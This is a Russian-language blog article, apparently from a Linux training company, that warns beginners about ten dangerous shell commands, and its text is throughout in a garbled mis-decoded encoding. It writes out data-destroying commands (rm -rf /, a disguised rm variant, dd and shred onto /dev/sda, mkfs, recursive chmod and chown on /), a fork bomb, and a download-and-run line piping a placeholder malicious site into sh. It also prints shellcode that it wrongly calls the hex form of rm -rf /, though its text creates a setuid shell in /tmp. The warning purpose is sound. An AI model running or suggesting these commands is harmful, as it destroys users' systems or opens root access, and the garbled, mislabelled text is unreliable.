¬аш вопрос св€зан с хэштэгами #—ерверные решени€, #Linux/Unix? —просите в Telegram!

ћерион Ќетворкс

6 минут чтени€

ѕривет! ≈cли ты только начал осваивать Linux, то просто об€зан знать то, что € сейчас тебе расскажу.

¬ Linux есть целых 10 команд, которые ты никогда не должен вводить в командную строку или советовать кому-нибудь это сделать.

Ёто как непростительные закл€ти€, которые не должен произносить ни один волшебник.

»х запуск может привести к самым негативным последстви€м - безвозвратному удалению всей операционной системы или важных файлов, зацикливанию процессов и зависанию системы, заражению вредоносным кодом и другим непри€тност€м.

¬нимание! Ёти команды действительно могут навредить твоей системе.  омпани€ ћерион Ќетворкс снимает с себ€ вс€кую ответственность за последстви€, исполнени€ читател€ми данных команд. ћатериал носит исключительно ознакомительный характер.

ƒело в том, что Linux предполагает, что ты знаешь, что делаешь и, как правило, не спрашивает подтверждени€ прежде чем исполнить команду, даже если она может навредить.

¬ »нтернете часто подшучивают над новичками, которые прос€т помощи в настройке Linux, предлага€ им ввести эти команды, а затем "лов€т лулзы" от реакции человека, который сообщает, что все сломалось окончательно. „тобы не стать жертвой таких "доброжелателей" и других "темных сил" читай нашу статью!


Ќеобратимые

» начнЄм мы с действительно "непростительных закл€тий", последстви€ которых невозможно обратить:

  1. rm Цrf / - ”дал€ет всЄ, до чего только может добратьс€.  ороче - УAvada Kedavra!Ф в LinuxТе.

„тобы лучше разобратьс€ как она действует, давайте разобьЄм еЄ на составл€ющие:

  • rm - команда дл€ удалени€ файлов
  • -r - рекурсивное удаление всех файлов внутри папки, включа€ вложенные папки и файлы в них
  • -f - означает УforceФ, не спрашивает подтверждени€ дл€ выполнени€ операции у пользовател€
  • /
  • - УслэшомФ обозначаетс€ корнева€ директори€ ќ—, котора€ содержит в себе не только все файлы системы, но также и подключенные устройства, такие как удаленные директории (сетевые шары), USB-носители и другое.

“аким образом, система поймЄт данную команду как: У”дали мне всЄ, что можно и начни с корневой директории!Ф

¬ GNU/Linux, ќ— Solaris и FreeBSD есть механизмы защиты, от ввода данной команды. Ќапример, в GNU система не даЄт ввести эту команду, так как в конфиге активирована функци€ --preserve-root. ќднако, если добавить к ней ключ --no-preserve-root, то команда всЄ же сработает.

—уществует несколько вариаций дл€ маскировки этой команды, так что запомни их и не спеши слепо вводить в консоль:

mkdir test
cd test
touch ./-r
touch ./-f
su
rm * /

ƒелает то же самое, но усыпл€ет бдительность, создава€ ненужную директорию УtestФ

char esp[] __attribute__ ((section(У.textФ))) /* e.s.p
release */
= У\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68Ф
У\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99Ф
У\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7Ф
У\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56Ф
У\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31Ф
У\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69Ф
У\x6e\x2f\x73\x68\x00\x2d\x63\x00Ф
Уcp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;Ф;

16-ричное представление команды rm Цrf /, его система тоже поймЄт.

  1. sudo dd if=/dev/zero of=/dev/sda bs=8m - «аполн€ет начальные 40ћбайт (8m) жесткого диска, которые содержат важные данные структуры нул€ми. „то делает невозможным их восстановление и приводит к невозможности загрузки ќ—.

/dev/zero Ц это некое псевдоустройство, которое делает только одно Ц генерирует нули, а /dev/sda - это, как правило, устройство жЄсткого диска.  омандой dd мы как бы говорим системе: У—копируй данные из генератора нулей и замени ею первые 40ћбайт на моЄм жестком диске!Ф

ќбратите внимание на sudo перед последующей командой. Ёто значит, что еЄ можно исполнить только под пользователем root.
¬стречаетс€ ещЄ использование другого псевдоустройства - if=/dev/random. ¬ отличие от /dev/zero он генерирует абсолютно рандомный, несв€зный бред. ѕримен€етс€ в основном дл€ генерации ключей.
  1. shred /dev/sda - ”далит все данные на жЄстком диске.  оманду можно прервать комбинацией Ctrl+C, но всЄ равно будет слишком поздно, чтобы восстановить критичные области.  стати, на самом деле shred использует те же генераторы бреда /dev/random или /dev/urandom и начинает заполн€ть диск данными от них.
  2. mkfs.ext3 /dev/sda - ‘орматирование жесткого диска. ѕо сути, эта команда создаЄт новую файловую систему ext3 (или ещЄ бывает ext4) на жестком диске, предварительно стира€ с него все данные.
  3. chmod -Rv 000 / - ќтнимает все разрешени€ на все файлы и все папки в системе. ѕосле ввода этой команды систему нельз€ будет даже перезагрузить. ј если перезагрузить еЄ вручную, то она всЄ равно уже не сможет запуститьс€ нормально, так как запрашиваемые при загрузке компоненты будут недоступны.
  4. chown -R nobody:nobody / - ћен€ет владельца всех файлов и папок системы на УникогоФ. ѕо сути, эффект от ввода этой команды таким же, как и от предыдущий. ѕоскольку никто не €вл€етс€ владельцем ничего в системе, то и сделать он с ней ничего не сможет, даже запустить.

ќпасные, но обратимые

  1. :(){ :|:& };: - Ћогическа€ бомба (известна€ также как fork bomb), забивающа€ пам€ть системы, что в итоге приводит к еЄ зависанию.

„тобы лучше пон€ть, как она действует, давайте еЄ немного преобразуем:

fu() {
  fu | fu &
}
fu

Ётот Bash код создаЄт функцию, котора€ запускает ещЄ два своих экземпл€ра, которые, в свою очередь снова запускают эту функцию и так до тех пор, пока этот процесс не займЄт всю физическую пам€ть компьютера, и он просто не зависнет. Ќи к чему фатальному это конечно не приведет, но перезагрузитьс€ всЄ же придЄтс€.

  1. команда > file.conf -  оманда, котора€ может перезаписать важный конфигурационный файл. ¬ Linux есть две функции, которые часть путают > - заменить и >> - добавить. “аким образом, если написать какую-команду и неправильно использовать функцию замены при редактировании конфигурационного файла, можно потер€ть его содержимое. ј если написать > file.conf, то можно просто стереть содержимое файла.
  2. wget http://вредоносный_сайт -O- | sh - —качивание и последующие исполнение какого-либо скрипта c сайта в »нтернете. ≈сли ресурс, с которого ты качаешь скрипт окажетс€ вредоносным, то ты рискуешь заразить свою систему, ведь в скрипте может оказатьс€ код, написанный злоумышленником, который с радостью исполнит тво€ система. “ак что внимательно относись к тому, что скачиваешь и запускаешь.
  3. chmod -R 777 / - ƒаЄт разрешение всем пользовател€м системы читать, перезаписывать и запускать всЄ что угодно.  онечно, с такой системой можно жить и работать, но еЄ безопасность будет под угрозой.
—тоит отметить, что в различных дистрибутивах Linux есть механизмы защиты от ввода данных команд, где-то спрашивают пароль root, где-то запрашивают подтверждение на исполнение, где-то прос€т ввести специальные ключи.

Ќу вот и всЄ, теперь у теб€ есть представление о командах Linux, которые никогда не стоит вводить в консоль. ћы также надеемс€, что ты не будешь советовать неопытным пользовател€м их вводить. Ќадеемс€ эта стать€ была теб€ полезна, а если ты знаешь ещЄ какие нибудь Унепростительные заклинани€Ф и опасные команды в Linux Ц пиши их в комментари€х!


ѕолезна ли ¬ам эта стать€?


Ёти статьи могут быть вам интересны: